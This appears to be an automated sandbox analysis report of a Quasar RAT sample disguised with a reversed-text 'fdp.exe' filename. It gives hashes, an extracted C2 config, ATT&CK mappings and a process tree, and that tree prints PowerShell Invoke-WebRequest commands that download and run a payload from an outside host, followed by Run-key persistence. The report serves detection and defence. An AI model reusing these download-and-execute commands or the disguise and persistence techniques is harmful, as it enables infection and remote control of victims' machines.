quasar | 341a207b9ea09cce9a212455cec88e52ee0fe61d64cfb68f4fd9d979b7ee267c

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
25/07/2024, 15:37

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General

Target
jdconstructnOrder‮fdp..exe
Size 288KB
Sample240725-s2jbdaxgnm
SHA256 8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3
MD5 7e900eb50f9dc1cb5c68ffea4b9e7bcc
SHA1 4dcc14dc2b98fbc171308fb55b5b8551dd96ea96
SHA512 a77aeffc4f80358940e40789a67f67df5adc1bde4790a400665a98871498b10c3206981d3f18efa1149c9ec246f0343d133dd77de4f5a1f5816506a204276b1a
SSDEEP 3072:6q6+ouCpk2mpcWJ0r+QNTBfRuk1qXkXRA4XTZK:6ldk1cWQRNTBpd8t
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

quasar office04 discovery execution persistence spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

192.228.105.2:4782

Mutex

4ea5c3e6-40ed-401e-8a68-e96daa2a46a9

Attributes

encryption_key
0FE4B3C613E3E61C318BA9D568DC6A8C56D2E505
install_name
jorder.exe
log_directory
Logs
reconnect_delay
3000
startup_key
svchost
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

resource	yara_rule
behavioral2/memory/3232-42-0x0000000005C50000-0x0000000005F75000-memory.dmp	family_quasar
behavioral2/memory/3232-43-0x00000000066D0000-0x00000000069F4000-memory.dmp	family_quasar

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	2472	powershell.exe
23	5080	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
5080	powershell.exe
2472	powershell.exe

Downloads MZ/PE file

.NET Reactor proctector 2 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral2/files/0x0010000000023370-33.dat	net_reactor
behavioral2/memory/3232-35-0x00000000009B0000-0x0000000000A1E000-memory.dmp	net_reactor

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	jdconstructnOrder‮fdp..exe

Executes dropped EXE 1 IoCs

pid	Process
3232	networkrunfdp.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NetworkRun.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\networkrunfdp.exe"	networkrunfdp.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jdconstructnOrder‮fdp..exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	networkrunfdp.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2472	powershell.exe
2472	powershell.exe
5080	powershell.exe
5080	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2472	powershell.exe
Token: SeDebugPrivilege	5080	powershell.exe
Token: SeDebugPrivilege	3232	networkrunfdp.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3232	networkrunfdp.exe
3232	networkrunfdp.exe

Suspicious use of SendNotifyMessage 2 IoCs

pid	Process
3232	networkrunfdp.exe
3232	networkrunfdp.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 3620 wrote to memory of 4128	3620	jdconstructnOrder‮fdp..exe	84
PID 3620 wrote to memory of 4128	3620	jdconstructnOrder‮fdp..exe	84
PID 4128 wrote to memory of 2472	4128	cmd.exe	87
PID 4128 wrote to memory of 2472	4128	cmd.exe	87
PID 4128 wrote to memory of 5080	4128	cmd.exe	91
PID 4128 wrote to memory of 5080	4128	cmd.exe	91
PID 4128 wrote to memory of 3232	4128	cmd.exe	96
PID 4128 wrote to memory of 3232	4128	cmd.exe	96
PID 4128 wrote to memory of 3232	4128	cmd.exe	96

C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe
"C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3620
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\9683.tmp\9684.tmp\9685.bat C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4128
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/purchaseOrder.jpg' -OutFile purchaseOrder.jpg"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2472
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/networkrunfdp.exe' -OutFile networkrunfdp.exe"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5080
- - C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe
    networkrunfdp.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:3232

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 fa05674c1db3386cf01ba1db5a3e9aeb97e15d1720d82988f573bf9743adc073
MD5 a2b24af1492f112d2e53cb7415fda39f
SHA1 dbfcee57242a14b60997bd03379cc60198976d85
SHA512 9919077b8e5c7a955682e9a83f6d7ab34ac6a10a3d65af172734d753a48f7604a95739933b8680289c94b4e271b27c775d015b8d9678db277f498d8450b8aff0
MD5 SHA1 SHA512

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9685.bat

Path C:\Users\Admin\AppData\Local\Temp\9683.tmp\9684.tmp\9685.bat
Size 334B
SHA256 6af7e75e339241dac26eca99aa1290c1f420b45b4231212d20adf08aa287e373
MD5 9aaac0122442ca0ebb4d8bb795e86676
SHA1 594744d8e4d51273dd435c3fac5799bc5f180e8c
SHA512 d08a0dd3b40d80c7582c3f69a7868371e7eb03ac6f4658a39e7a9fb1dd34cc22a5e91d60b31af71c77cebfe0fd0c3827fdbb3cc35224189388345c61e756636c
MD5 SHA1 SHA512

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__PSScriptPolicyTest_1p2m0jib.w10.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1p2m0jib.w10.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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networkrunfdp.exe

Path C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe
Size 417KB
SHA256 2bf98c947ce0bd8e6e6a0c0493af056790d61ab86c7c47896b4688bdc60b68b5
MD5 a18b7de2990becc30f700720e19ebfef
SHA1 b48c1a5c7756bccfe05d7999daeb96e7ab688cfd
SHA512 484f8faf3973b74c96b6fea157774c627044fa4631e127de30f9f93468d38e73befa3c3bff3ea07108c82d943c9b56e79c5d6391d0e3a9b197869b0715d2808b
SSDEEP 6144:Mt77NAfJ5UKLCNFxKwS8qPgTWt09EMO4FU6oM7Ak2m27pFnQtdSB1Op+VvVj4NyC:A2MtxKwS8Y0C5O03WyC
MD5 SHA1 SHA512 SSDEEP

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memory/2472-2-0x00007FFF3AD63000-0x00007FFF3AD65000-memory.dmp

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memory/2472-8-0x000002336A910000-0x000002336A932000-memory.dmp

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memory/2472-13-0x00007FFF3AD60000-0x00007FFF3B821000-memory.dmp

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memory/2472-14-0x00007FFF3AD60000-0x00007FFF3B821000-memory.dmp

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memory/2472-18-0x00007FFF3AD60000-0x00007FFF3B821000-memory.dmp

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memory/3232-35-0x00000000009B0000-0x0000000000A1E000-memory.dmp

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memory/3232-42-0x0000000005C50000-0x0000000005F75000-memory.dmp

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memory/3232-43-0x00000000066D0000-0x00000000069F4000-memory.dmp

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memory/3232-44-0x0000000006FA0000-0x0000000007544000-memory.dmp

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memory/3232-45-0x0000000006440000-0x00000000064D2000-memory.dmp

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memory/3232-46-0x00000000065D0000-0x00000000065DA000-memory.dmp

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memory/3232-47-0x0000000006C40000-0x0000000006C90000-memory.dmp

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memory/3232-48-0x0000000006D50000-0x0000000006E02000-memory.dmp

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memory/3232-49-0x0000000007B70000-0x0000000008188000-memory.dmp

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memory/3232-50-0x0000000007870000-0x0000000007882000-memory.dmp

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memory/3232-51-0x00000000078D0000-0x000000000790C000-memory.dmp

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memory/3232-52-0x0000000007980000-0x00000000079E6000-memory.dmp

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